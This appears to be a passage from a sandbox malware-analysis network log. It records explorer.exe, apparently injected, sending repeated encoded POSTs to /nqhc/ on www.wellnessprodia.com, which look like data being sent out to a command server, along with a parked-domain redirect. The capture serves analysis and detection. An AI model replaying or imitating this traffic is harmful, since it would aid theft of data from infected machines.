Dec 5, 2022 15:20:16.315078974 CET	12895	OUT	GET /nqhc/?7nWHV=8A76ZuiHZi/Ws5XZc39lk8dA+0cq1C26/U6x4YBy0tC3IrxrLO2FUR3fJNTj7bksOQnQlH1KHIWsq/xPw5a7PJ/V5JkWh/vDvg==&jP1=y48xBzJ0mzz HTTP/1.1 Host: www.popular.directory Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:20:16.404421091 CET	12896	IN	HTTP/1.1 302 Found date: Mon, 05 Dec 2022 14:20:16 GMT content-type: text/html; charset=UTF-8 content-length: 0 x-powered-by: PHP/8.1.9 x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_X4E0vAwMEukwnXZt9GXMkn7CLA1T04240mFKC5UWkdTjQETFvfN7yq8ld8dnxCD4K3xqERChOV0JvKQuqAQ5Gw== expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache last-modified: Mon, 05 Dec 2022 14:20:16 GMT location: https://sedo.com/search/details/?partnerid=324561&language=d&domain=popular.directory&origin=sales_lander_9&utm_medium=Parking&utm_campaign=offerpage x-cache-miss-from: parking-d7dbd8c4d-4r7pb server: NginX connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.11.20	49949	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:21.577692986 CET	12897	OUT	POST /nqhc/ HTTP/1.1 Host: www.wellnessprodia.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.wellnessprodia.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.wellnessprodia.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 52 41 6f 2d 6a 64 53 6e 68 68 6a 4b 53 6d 75 33 33 41 34 61 62 6f 78 70 37 5f 53 71 58 62 32 73 76 30 37 68 28 51 77 37 70 48 77 61 6a 6b 34 71 46 68 5a 33 6e 58 43 62 79 62 6b 44 71 50 53 55 34 6a 37 57 6d 64 51 6f 6a 42 59 61 7a 70 59 75 38 72 65 43 44 75 6d 47 61 32 6b 64 79 68 78 42 47 42 34 31 5a 33 47 35 42 4b 32 42 7e 35 78 75 44 59 44 72 76 6f 47 62 47 4c 57 47 36 72 66 4c 51 46 46 32 6f 4f 46 35 75 78 45 36 77 2d 30 59 30 41 7e 34 42 58 37 43 33 68 39 38 48 6f 59 55 51 36 75 35 30 63 44 4d 45 34 55 50 6f 31 35 38 4a 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=RAo-jdSnhhjKSmu33A4aboxp7_SqXb2sv07h(Qw7pHwajk4qFhZ3nXCbybkDqPSU4j7WmdQojBYazpYu8reCDumGa2kdyhxBGB41Z3G5BK2B~5xuDYDrvoGbGLWG6rfLQFF2oOF5uxE6w-0Y0A~4BX7C3h98HoYUQ6u50cDME4UPo158Jg).
Dec 5, 2022 15:20:21.753614902 CET	12898	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:20:21 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 462 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 5d 92 4d 8f d3 30 10 86 ef fd 15 43 38 00 52 dd 8f a5 0b 28 1f 15 17 e0 82 d0 6a 57 70 9f c4 d3 c4 c2 f1 04 7b da a6 ac f6 bf 6f 9c b4 cb b2 f2 c1 f2 78 de 77 9e 19 3b 7f a5 b9 92 53 47 d0 48 6b b7 b3 3c 6e 60 d1 d5 45 42 2e 89 01 42 bd 9d 01 e4 2d 09 42 d5 a0 0f 24 45 b2 97 9d fa 94 fc bb 68 44 3a 45 7f f6 e6 50 24 bd da a3 aa b8 ed 50 4c 69 29 81 8a 9d 90 1b 54 86 0a d2 35 4d 3a 31 62 69 bb 59 6d e0 8b f7 ec f3 e5 14 78 b2 74 d8 52 91 1c 0c 1d 3b f6 f2 cc e5 68 b4 34 85 a6 83 a9 48 8d 87 39 18 67 c4 a0 55 a1 42 4b c5 3a 79 69 e3 b9 64 09 cf 4c 1c 1b a7 a9 9f 83 e3 1d 5b cb c7 49 12 e4 34 31 00 7c 6e 49 1b 84 50 79 22 07 e8 34 bc 6d b1 9f 0a a6 d7 ab 55 d7 bf 83 fb 31 13 a0 64 7d 82 7b d8 0d ee 2a 98 bf 94 c2 e2 03 b5 19 3c c0 98 f0 10 ad 97 67 ef 7c 39 cd 74 96 8f aa 31 5a 24 42 bd 28 b4 a6 76 29 54 03 21 f9 6c 20 8a ba 66 7d c9 19 ed 77 d8 1a 7b 4a e1 1b b1 af 0d ce 21 90 37 bb 6c e8 cc b2 4f e1 f5 06 e3 ca a0 c5 e1 da 29 e1 2e 85 4d 64 b1 c6 91 6a c8 d4 8d a4 b0 5e 5c 67 c9 d4 e7 1d 7b 7f 9a 83 34 26 40 87 35 81 66 0a ee 8d 00 f5 26 c8 22 2f fd f6 c6 12 06 1a 5e 9f aa df 43 22 c1 cf db ef c0 1e 6a 86 12 87 10 8e c2 c5 d8 65 b3 8e b6 23 f8 d5 05 1c e0 3f f4 5f e4 35 ba 88 8e 2e a8 17 fc 1f 75 5c d9 a4 38 9e 71 df af 56 17 dc a7 0f b3 80 9b 48 fb 83 05 be f2 de e9 73 f9 ab b1 7c be 8c c3 8d 43 5e 4e 3f fb 11 21 b9 04 0e ea 02 00 00 Data Ascii: ]M0C8R(jWp{oxw;SGHk<n`EB.B-B$EhD:EP$PLi)T5M:1biYmxtR;h4H9gUBK:yidL[I41\|nIPy"4mU1d}{*<g\|9t1Z$B(v)T!l f}w{J!7lO).Mdj^\g{4&@5f&"/^C"je#?_5.u\8qVHs\|C^N?!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.11.20	49952	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:23.763655901 CET	12924	OUT	POST /nqhc/ HTTP/1.1 Host: www.wellnessprodia.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.wellnessprodia.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.wellnessprodia.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 52 41 6f 2d 6a 64 53 6e 68 68 6a 4b 53 48 65 33 77 6a 51 61 63 49 78 6d 69 5f 53 71 64 37 32 53 76 30 33 68 28 52 46 2d 71 78 41 61 6b 47 51 71 47 67 5a 33 33 48 43 62 35 37 6b 47 6c 76 54 59 34 6a 7e 68 6d 66 55 6f 6a 42 38 61 79 59 34 75 7e 62 65 42 49 4f 6d 42 5a 32 6b 41 32 68 78 78 47 47 77 54 5a 32 53 35 41 37 71 42 28 37 5a 75 56 64 6a 6f 34 49 47 64 45 4c 57 42 7a 4c 66 5f 51 46 49 4c 6f 50 74 48 75 48 30 36 77 66 59 59 31 41 7e 37 4c 6e 37 5a 71 78 38 43 4e 4c 41 59 61 4a 4c 62 6b 38 54 77 50 37 39 48 6f 78 6f 62 57 71 72 49 57 62 38 63 63 49 34 51 37 49 31 7a 79 72 67 6c 47 68 41 41 46 4f 49 75 66 31 6b 36 7e 4a 4c 49 4a 6d 45 7a 73 43 6b 5a 4f 38 6d 51 7e 79 66 68 6f 50 30 6f 39 37 6c 7a 34 58 63 4b 55 76 6b 62 46 43 4c 77 33 4b 52 74 45 2d 32 4e 64 5f 78 58 75 79 54 62 6c 4b 4e 37 41 6b 70 56 64 39 34 5f 68 4f 51 39 48 30 44 6d 7e 62 43 43 6a 30 5a 53 6e 74 78 34 6d 76 50 41 72 58 66 65 56 33 4d 5f 33 31 4a 47 72 7a 6a 58 76 6d 4e 75 65 6d 61 62 53 44 55 6a 33 77 4b 56 45 58 42 42 51 4a 7a 47 7a 51 77 48 4c 47 74 45 44 47 63 6b 4d 5a 6c 4a 6d 70 4c 68 6f 37 65 73 67 5f 62 56 4b 4c 54 4c 6f 62 58 36 46 77 70 6a 68 4d 49 52 78 32 4f 6d 32 5f 58 47 74 71 6a 31 67 5a 42 6c 4f 39 33 74 31 71 72 53 58 67 66 69 6b 73 50 4b 6a 62 53 44 68 48 62 51 47 55 4d 46 51 38 5a 6c 4b 6f 6f 78 31 6f 68 5f 4e 63 6d 52 48 37 6d 38 58 67 75 61 4b 64 63 46 6a 42 36 48 37 35 5a 4f 69 61 56 59 75 38 33 74 46 74 4d 30 55 34 41 67 33 6c 4f 72 75 62 54 35 73 4a 75 58 6f 37 74 6e 33 62 4c 79 78 48 43 36 67 53 63 39 70 4b 43 42 67 35 76 73 62 4c 38 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=RAo-jdSnhhjKSHe3wjQacIxmi_Sqd72Sv03h(RF-qxAakGQqGgZ33HCb57kGlvTY4j~hmfUojB8ayY4u~beBIOmBZ2kA2hxxGGwTZ2S5A7qB(7ZuVdjo4IGdELWBzLf_QFILoPtHuH06wfYY1A~7Ln7Zqx8CNLAYaJLbk8TwP79HoxobWqrIWb8ccI4Q7I1zyrglGhAAFOIuf1k6~JLIJmEzsCkZO8mQ~yfhoP0o97lz4XcKUvkbFCLw3KRtE-2Nd_xXuyTblKN7AkpVd94_hOQ9H0Dm~bCCj0ZSntx4mvPArXfeV3M_31JGrzjXvmNuemabSDUj3wKVEXBBQJzGzQwHLGtEDGckMZlJmpLho7esg_bVKLTLobX6FwpjhMIRx2Om2_XGtqj1gZBlO93t1qrSXgfiksPKjbSDhHbQGUMFQ8ZlKoox1oh_NcmRH7m8XguaKdcFjB6H75ZOiaVYu83tFtM0U4Ag3lOrubT5sJuXo7tn3bLyxHC6gSc9pKCBg5vsbL8.
Dec 5, 2022 15:20:23.936568975 CET	12925	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:20:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 462 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 5d 92 4d 8f d3 30 10 86 ef fd 15 43 38 00 52 dd 8f a5 0b 28 1f 15 17 e0 82 d0 6a 57 70 9f c4 d3 c4 c2 f1 04 7b da a6 ac f6 bf 6f 9c b4 cb b2 f2 c1 f2 78 de 77 9e 19 3b 7f a5 b9 92 53 47 d0 48 6b b7 b3 3c 6e 60 d1 d5 45 42 2e 89 01 42 bd 9d 01 e4 2d 09 42 d5 a0 0f 24 45 b2 97 9d fa 94 fc bb 68 44 3a 45 7f f6 e6 50 24 bd da a3 aa b8 ed 50 4c 69 29 81 8a 9d 90 1b 54 86 0a d2 35 4d 3a 31 62 69 bb 59 6d e0 8b f7 ec f3 e5 14 78 b2 74 d8 52 91 1c 0c 1d 3b f6 f2 cc e5 68 b4 34 85 a6 83 a9 48 8d 87 39 18 67 c4 a0 55 a1 42 4b c5 3a 79 69 e3 b9 64 09 cf 4c 1c 1b a7 a9 9f 83 e3 1d 5b cb c7 49 12 e4 34 31 00 7c 6e 49 1b 84 50 79 22 07 e8 34 bc 6d b1 9f 0a a6 d7 ab 55 d7 bf 83 fb 31 13 a0 64 7d 82 7b d8 0d ee 2a 98 bf 94 c2 e2 03 b5 19 3c c0 98 f0 10 ad 97 67 ef 7c 39 cd 74 96 8f aa 31 5a 24 42 bd 28 b4 a6 76 29 54 03 21 f9 6c 20 8a ba 66 7d c9 19 ed 77 d8 1a 7b 4a e1 1b b1 af 0d ce 21 90 37 bb 6c e8 cc b2 4f e1 f5 06 e3 ca a0 c5 e1 da 29 e1 2e 85 4d 64 b1 c6 91 6a c8 d4 8d a4 b0 5e 5c 67 c9 d4 e7 1d 7b 7f 9a 83 34 26 40 87 35 81 66 0a ee 8d 00 f5 26 c8 22 2f fd f6 c6 12 06 1a 5e 9f aa df 43 22 c1 cf db ef c0 1e 6a 86 12 87 10 8e c2 c5 d8 65 b3 8e b6 23 f8 d5 05 1c e0 3f f4 5f e4 35 ba 88 8e 2e a8 17 fc 1f 75 5c d9 a4 38 9e 71 df af 56 17 dc a7 0f b3 80 9b 48 fb 83 05 be f2 de e9 73 f9 ab b1 7c be 8c c3 8d 43 5e 4e 3f fb 11 21 b9 04 0e ea 02 00 00 Data Ascii: ]M0C8R(jWp{oxw;SGHk<n`EB.B-B$EhD:EP$PLi)T5M:1biYmxtR;h4H9gUBK:yidL[I41\|nIPy"4mU1d}{*<g\|9t1Z$B(v)T!l f}w{J!7lO).Mdj^\g{4&@5f&"/^C"je#?_5.u\8qVHs\|C^N?!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.11.20	49953	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:25.950241089 CET	12932	OUT	POST /nqhc/ HTTP/1.1 Host: www.wellnessprodia.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.wellnessprodia.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.wellnessprodia.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 52 41 6f 2d 6a 64 53 6e 68 68 6a 4b 53 48 65 33 77 6a 51 61 63 49 78 6d 69 5f 53 71 64 37 32 53 76 30 33 68 28 52 46 2d 71 79 67 61 6a 31 6f 71 45 44 68 33 30 48 43 62 6e 4c 6b 48 6c 76 54 56 34 6e 61 6c 6d 66 4a 64 6a 44 30 61 78 4c 77 75 7e 70 47 42 4e 4f 6d 45 63 32 6b 43 79 68 78 44 47 42 34 39 5a 79 79 44 42 4b 75 42 7e 34 42 75 44 37 72 72 69 34 47 62 45 4c 57 7a 33 4c 66 33 51 46 4d 6c 6f 50 78 48 75 42 73 36 78 70 45 59 33 52 7e 37 47 58 37 47 78 68 38 37 44 62 42 67 61 4a 65 5f 6b 38 54 67 50 36 35 48 6f 32 38 62 58 70 7a 4c 56 37 38 63 43 59 34 54 28 49 70 76 79 71 4d 39 47 67 30 41 46 4a 55 75 66 56 6b 36 73 38 28 50 5a 32 45 39 6f 43 6b 30 45 74 61 59 7e 79 4c 66 6f 4e 34 6f 7e 4c 78 7a 35 67 41 4b 52 4c 49 62 4c 43 4c 79 7a 4b 52 2d 4b 65 32 6e 64 5f 41 2d 75 7a 7a 55 6c 4e 31 37 42 41 39 56 5a 5a 6b 38 31 65 51 5f 62 6b 44 6f 7a 37 47 34 6a 30 4a 4f 6e 74 77 6c 6d 74 6a 41 71 6d 76 65 53 43 67 67 7a 6c 4a 42 6e 54 69 58 68 32 42 6b 65 69 43 44 53 44 39 6f 33 7a 6d 56 57 6e 42 42 57 6f 7a 46 35 67 77 4b 4a 47 74 57 65 57 63 5f 4d 5a 35 5f 6d 73 71 65 6f 4c 79 73 68 4d 7a 56 4e 62 54 45 73 37 58 41 63 41 70 6c 6c 4d 49 52 78 32 44 52 32 5f 72 47 75 62 72 31 6d 36 5a 6c 66 4b 4c 74 36 4b 72 55 58 67 66 33 6b 73 44 44 6a 62 71 68 68 47 72 36 47 58 67 46 54 6f 64 6c 47 4a 6f 79 77 59 68 2d 4a 63 6e 49 4a 62 72 6a 58 6b 4f 53 4b 64 4d 4b 6a 32 43 48 70 4a 4a 4f 70 36 56 5a 71 63 33 75 56 39 4d 59 65 5a 39 6b 33 6c 36 64 75 62 50 51 73 4b 75 58 74 4f 78 77 6f 35 33 78 69 42 54 62 7e 55 30 4e 74 49 61 65 6c 4a 72 32 5a 5f 42 78 43 6c 54 5f 53 77 7a 50 30 45 4a 72 55 48 51 59 4c 32 4b 30 59 6e 61 76 6b 73 49 4a 7a 44 4b 72 76 53 55 50 68 4e 64 64 70 74 6c 72 39 77 77 4b 35 53 61 6a 7a 76 6c 66 57 77 63 66 74 48 59 62 51 6d 68 70 4d 74 57 73 38 2d 28 4a 28 6f 4d 79 74 77 55 4f 6e 53 67 55 71 65 61 49 58 30 73 49 79 4f 35 2d 44 6c 6b 41 72 70 61 46 6d 74 6d 5f 70 42 63 73 7e 45 74 30 6d 78 33 51 39 69 45 42 53 5a 47 72 32 64 34 4c 77 32 64 71 6a 47 47 4b 66 4a 44 54 66 5f 38 4d 6b 79 77 4f 70 50 6c 4a 32 43 31 56 41 75 42 49 66 68 56 59 33 68 68 52 57 52 76 57 4d 47 32 56 32 32 65 4a 79 43 72 66 36 30 45 38 69 65 7a 49 31 38 6e 52 38 52 6a 74 6d 77 4e 7a 28 48 6d 52 7a 47 5a 48 51 47 4d 33 48 4c 6a 4b 70 46 6b 36 68 37 45 75 73 59 6b 66 6e 79 71 53 52 6c 37 4f 34 54 62 39 66 6d 67 59 39 57 42 5a 69 44 68 57 7a 49 6c 70 62 53 58 50 75 4e 66 2d 6a 6d 6b 38 50 38 6d 58 44 55 4a 30 47 48 4e 56 43 53 4f 32 65 34 32 54 6d 4a 76 6f 67 37 34 33 50 56 33 6a 62 4c 67 74 55 4b 6c 31 56 64 68 30 42 5f 44 34 32 76 4d 77 4f 49 64 7a 79 6f 44 44 69 39 6d 4f 41 71 62 59 47 59 70 4d 6c 4f 49 4b 4d 6a 37 66 68 59 34 75 47 65 4a 34 34 38 63 61 70 56 72 63 71 48 7a 39 7a 41 37 77 64 4a 39 4a 34 6c 64 47 54 58 50 77 42 44 6a 74 54 66 4f 55 4e 6d 77 43 76 41 54 35 4a 65 39 78 30 45 47 6c 6d 47 61 37 61 48 45 71 57 4c 4f 6d 6d 6e 6e 62 66 50 6b 51 61 4d 4e 36 36 57 63 74 4a 38 49 2d 73 56 7a 4c 53 64 31 51 31 51 68 69 45 30 76 2d 51 5f 6f 47 38 37 4b 72 35 58 70 43 6c 6b 48 4d 45 66 75 4e 38 6e 44 38 51 77 35 44 73 6f 6a 4d 63 6d 6a 67 43 43 5a 4d 6f 49 50 4d 79 78 33 53 55 73 39 6f 76 4a 45 65 73 34 63 6c 76 57 70 32 76 47 31 2d 45 4e 39 6a 4a 6c 50 66 35 57 54 69 53 79 59 77 6d 6a 48 71 70 6e 7a 49 44 54 51 6d 42 43 33 53 73 55 30 38 47 41 39 35 69 76 5a 2d 42 46 33 6d 38 58 71 57 7e 33 6f 4b 75 55 64 44 74 65 72 41 55 41 6e 69 59 6b 64 31 39 63 43 4d 39 47 33 48 6b 6f 55 4f 59 75 75 67 6f 57 70 6a 62 4a 35 56 38 53 66 54 48 63 63 6f 4b 47 6c 67 33 47 36 6b 37 43 39 53 52 76 74 6b 52 4b 50 32 41 31 59 69 64 30 6e 61 6e 4d 4d 51 4e 64 55 74 53 55 30 4d 44 58 4c 6f 6f 71 6b 59 51 79 36 6b 4f 44 33 67 32 55 57 72 38 43 32 61 63 75 50 49 47 67 79 4e 78 79 65 33 32 49 68 2d 35 79 57 6b 63 62 74 78 42 42 38 69 57 7a 41 4e 4e 6d 68 33 59 64 54 6f 31 57 44 73 76 68 77 67 4a 47 63 6d 36 72 39 5f 31 62 28 31 71 69 7a 7a 4f 59 34 45 4c 39 79 30 75 66 36 4c 34 35 72 79 66 38 58 5f 67 42 7a 79 79 62 4b 33 41 51 5a 55 66 4e 66 39 7a 72 4e 57 34 53 64 57 72 71 47 46 6b 63 28 6f 53 74 6b 2d 43 66 62 50 72 69 52 68 68 62 56 4a 43 Data Ascii: 7nWHV=RAo-jdSnhhjKSHe3wjQacIxmi_Sqd72Sv03h(RF-qygaj1oqEDh30HCbnLkHlvTV4nalmfJdjD0axLwu~pGBNOmEc2kCyhxDGB49ZyyDBKuB~4BuD7rri4GbELWz3Lf3QFMloPxHuBs6xpEY3R~7GX7Gxh87DbBgaJe_k8TgP65Ho28bXpzLV78cCY4T(IpvyqM9Gg0AFJUufVk6s8(PZ2E9oCk0EtaY~yLfoN4o~Lxz5gAKRLIbLCLyzKR-Ke2nd_A-uzzUlN17BA9VZZk81eQ_bkDoz7G4j0JOntwlmtjAqmveSCggzlJBnTiXh2BkeiCDSD9o3zmVWnBBWozF5gwKJGtWeWc_MZ5_msqeoLyshMzVNbTEs7XAcApllMIRx2DR2_rGubr1m6ZlfKLt6KrUXgf3ksDDjbqhhGr6GXgFTodlGJoywYh-JcnIJbrjXkOSKdMKj2CHpJJOp6VZqc3uV9MYeZ9k3l6dubPQsKuXtOxwo53xiBTb~U0NtIaelJr2Z_BxClT_SwzP0EJrUHQYL2K0YnavksIJzDKrvSUPhNddptlr9wwK5SajzvlfWwcftHYbQmhpMtWs8-(J(oMytwUOnSgUqeaIX0sIyO5-DlkArpaFmtm_pBcs~Et0mx3Q9iEBSZGr2d4Lw2dqjGGKfJDTf_8MkywOpPlJ2C1VAuBIfhVY3hhRWRvWMG2V22eJyCrf60E8iezI18nR8RjtmwNz(HmRzGZHQGM3HLjKpFk6h7EusYkfnyqSRl7O4Tb9fmgY9WBZiDhWzIlpbSXPuNf-jmk8P8mXDUJ0GHNVCSO2e42TmJvog743PV3jbLgtUKl1Vdh0B_D42vMwOIdzyoDDi9mOAqbYGYpMlOIKMj7fhY4uGeJ448capVrcqHz9zA7wdJ9J4ldGTXPwBDjtTfOUNmwCvAT5Je9x0EGlmGa7aHEqWLOmmnnbfPkQaMN66WctJ8I-sVzLSd1Q1QhiE0v-Q_oG87Kr5XpClkHMEfuN8nD8Qw5DsojMcmjgCCZMoIPMyx3SUs9ovJEes4clvWp2vG1-EN9jJlPf5WTiSyYwmjHqpnzIDTQmBC3SsU08GA95ivZ-BF3m8XqW~3oKuUdDterAUAniYkd19cCM9G3HkoUOYuugoWpjbJ5V8SfTHccoKGlg3G6k7C9SRvtkRKP2A1Yid0nanMMQNdUtSU0MDXLooqkYQy6kOD3g2UWr8C2acuPIGgyNxye32Ih-5yWkcbtxBB8iWzANNmh3YdTo1WDsvhwgJGcm6r9_1b(1qizzOY4EL9y0uf6L45ryf8X_gBzyybK3AQZUfNf9zrNW4SdWrqGFkc(oStk-CfbPriRhhbVJC_jc5GUlAAIcYH7FTNh1gYHF~s7PIdihL-Z3Cv6x~n54ISVTFiKey_l2kXtugXURFlbACweHIyiuRcpBddNOOKy8vxv36s1yMIFc~95MeEjpMgv9YEmK3FTmYzRyXg8pdIgJ3wPAqo9gKKElKzkLUuhPBO2IH28huYPXWh3XRZjr7GVDaPrLTOea5zSFs4~KTQwVQo4wqwbqNv~1gZNZ9010mGHPDvo40WEyj2GFRZfs~1m5Aqy3KEQvRKeJaA698kbVnTSu8jDbO22eYl8T9xKuyjq9ESIFO_J3D6yc6aupDQm1~3lsnVtPuq7lZN24RPH41sYyj2JKiY2iOMLOtO5bDC05VFzVKgVj2opglg(CkQy0ynZENWdL~936Nw52~ZVD4gkGukUKtniVc9Tl6lremncSEMNtlDyWNiNcw1LdSdlfqHFQxB89c6Y4mJRgE47R208PWDfLEslb1TkzGi6jGucZ~ND0lsbPFRfZT_QYi7mETDMqJ-2QKqKQzmELGUHjrJ7b482BghNmKwu0icnORdqn(W(T(YK_be2I103bQidorGtU~HxEiZaDZFO8j4HJcCRwO7OE5OXyaTUK(Y1vdqo14GOutUP6w0rdT_ac1ndEdvE8ig6aEbzGWb1Ey22kHo6eOFe-l2W-fuqcy4TD0picIU6iEHf1apeWZ-Y2qoSCqPqnipJFaRlc7YC-2Ff8M4sY7q~TmwjntURMsvJJZjIaUu3_eGr7zZ6EdqcicRa9YIZJhdA9vz0mehWuKsrH3n2cMILpySDJseg6Z7GveovvVG847DfOq5X_phgo4-zssnJ6tw6hJCSW89M7UKvrmyNo(WV0GBHkQjEQj-LVb6g8I3Ie(SOMlLporjpjZgoyIgFMWkkPY5qr1MzFtv5a8AiRolZkcUYcME3R7ama0VIqEkGl5qksdR(CRbFHF8jdH7B4BWPdm9rGM5IcK-B4S7wtFkly~_PvsVPH1mfIPSFbtgzFgk12umPnRuJtO-tIj4QaQEjw6a~dYPN-BRq4ordG2TuRt3z9iM~0IBsftm58MU2vYRhyvQhWZsaXhw~pfrUGNSu8HSw42FJ-sUTe706rbsHJcZycctBa8DsUBDCioEDeOY3uxN571pXN(DP0S87WIIwHSzLB9aoY0LWX74RKc0uVWjDlmCzbRY~DX6oGVKzXjXRRHVY-rmVDTvaf6tvjgyFXQpV8wbnNu3xzNAU5IDoijZRGTR5Fcynd1_SbrD~UK9ZzE63mp3IqsOhyQgwBN-exRI76iwiVKWjUyj4QH7KXR1sMBOP677zLiS~RSHAkrKXC125v5eaapZHwWuyxl69B7lL97zSSXKcPCmPa1gJMBVvHPHY1ZysU2tpWBHZb5NSZ6ia1e2D8dwM1QmirwjhrcvB0jsbI1m5MlpKUuB7EhIwNXoE94dvt5cMi5PocKx(vS3CL07Sr7PGpO17EWohzd2bE4UptV7bFuJomvWty4lYvo4h6(NU0fQFNuJdYy2SeOVrWRF(uZX3_603v0GO0zoCL(rI-2ssIgxSm8nJgmtAEPDOYMWI5E-mdPf9L2tUcKWvFMTUoql8ENRNabpSVJnxO6lqVUUSnJkyc3bIhjuElWJbbKKKL7UyGxtPEqS4nMvrVE1Ndxh6PBE5ho9MFqs4CkW6TcNNecdivg1LQFE7yJLNY5ZbwLB9AuttYCjZKLSJsyoLB6J0UxkdVK1i_QNKyYewVOfXmXNjtLyLMIlVhuAVsIlAdDZd2p51ty8WaH-xG4QIDEqiWLv877cTrX3ElFzACEGBBUEWlc6VLK6z_7ybeyDVPA8f_~p65eM2GP26rBPjQUR9TtfEUIfaJg031LzaDsLSsg376pO4yFHcEJk8Pkdbu6v3NEkC4i0JeH99P8sBR7Us1h-J2fFRVlwbA7tdTGdCSDHVzrMwEnMWW~ZtYforHNi(TzRL96wAI7ham8Azb167aWRGms9nVePh0pVIFAX7v5hWGAPGuFx(umXZnQCfzZOvZ7fY2CYCx~s3w9mmXY3EeaPRKLrz7OzfEfQ1zquDpP7Bc6z2-2aoUlEyhZLJPwSXunHYhm8S-nEiZxaw_~UUfIn85vESrQznSo1WJpIY5UkhHicFDUFDGjVdgleP8igrLU6OhrhyzhHKZpDCzpYklHox-kMOmtnoqn-q_cCqvz0KAbDX63KaUHqWBZ00tijnKX48L2hHL~tPZVOx8c9QDc-yj(bEf0epknPo9m1F_c-CGlqLNUtqclr6_FaCwNM46WUpAVQomQ4gdKtg16lPzPRIo(yGh2r4TrBiDT92tlCb8OT0Ak_tzVnBj~bTaxasNmiwDOVB4M-~ZFk6b(Y2Zf1phZ78GeX0t696ZzKzNHGZgrazS2k1pCl1MizSKas3dAo~NrA6Rn5XeNyu9lr9Dl5qN1To2BZe1wuEGPiFrtZFiNOsuQGh3bYZUdX45zTf0PV7WEoHp1qWFC-Dr26RfnljlMj8vLkpiDZ4xVjQVwXn2DfXyEZNFb4ZO85veLpcldTuoeMHZCTATzlXais~ZMGmjOAfMUyXqiuerWz0Aq2VL3hCO6lQbOyetK1fBW5o8LQO1uNVS9z4-mscTk8qNypENHwHGf6K48uXvHU0KGpmEOfPnIPye6GIgo4qb(oIBHwoGA0UgQybk7vA1153j8PsdJ1T65eoiMN3tMVm8BEfexj6y2WV-IAWv~WloWKXmXTST~Eys
Dec 5, 2022 15:20:25.950293064 CET	12938	OUT	Data Raw: 45 53 4e 55 39 43 51 68 6a 58 33 56 6f 50 44 4d 74 5f 74 43 41 75 30 70 32 70 6b 37 75 4c 38 31 58 32 66 74 59 67 51 4b 6c 59 58 68 70 69 47 56 59 4e 37 5f 6f 57 6e 32 56 4c 7a 67 6f 67 62 68 47 44 33 6b 43 67 44 70 76 39 30 59 73 39 6a 36 57 62 Data Ascii: ESNU9CQhjX3VoPDMt_tCAu0p2pk7uL81X2ftYgQKlYXhpiGVYN7_oWn2VLzgogbhGD3kCgDpv90Ys9j6WbuScrE2gOIsnQUY615ge3PBRCjnFTZqwL4QoaoLefyr7N1CvvbjmxB_(GjKxj2_i950~aGB59KgAY2iEc5mv0nuw5rtiTpdstEvBW3x8qebJaNUx6Z2fbl07DxU1gzVPx9BhrMhCqLbhjG90gp-NrHiR3PCEq2VkgZ
Dec 5, 2022 15:20:26.112386942 CET	12939	OUT	Data Raw: 7a 68 44 57 68 35 4f 68 48 37 5a 70 39 72 75 79 41 7a 61 6d 79 36 76 53 70 69 54 62 6e 6c 52 33 4f 68 63 50 65 54 63 41 63 56 54 4c 6e 45 6f 61 49 72 64 4e 66 57 61 31 6f 32 4f 44 32 45 64 76 31 44 58 6c 56 34 6b 4f 32 5f 31 48 4b 39 73 63 6c 78 Data Ascii: zhDWh5OhH7Zp9ruyAzamy6vSpiTbnlR3OhcPeTcAcVTLnEoaIrdNfWa1o2OD2Edv1DXlV4kO2_1HK9sclxhWyrUCTXzzRm2sJNaj~G7LozL-eXhjMe4L166KoQ84zgtOX5pmYpyDi7k23RCDvy8EX8IP0DCN1XlZOCkWDBQbYzWIiDwS5Ee8S3KMcPk3BPoadgvQGThkQQZkJDv_leIxnuN3AwQtlSI2gGQee46XUxRRnCNxSnr
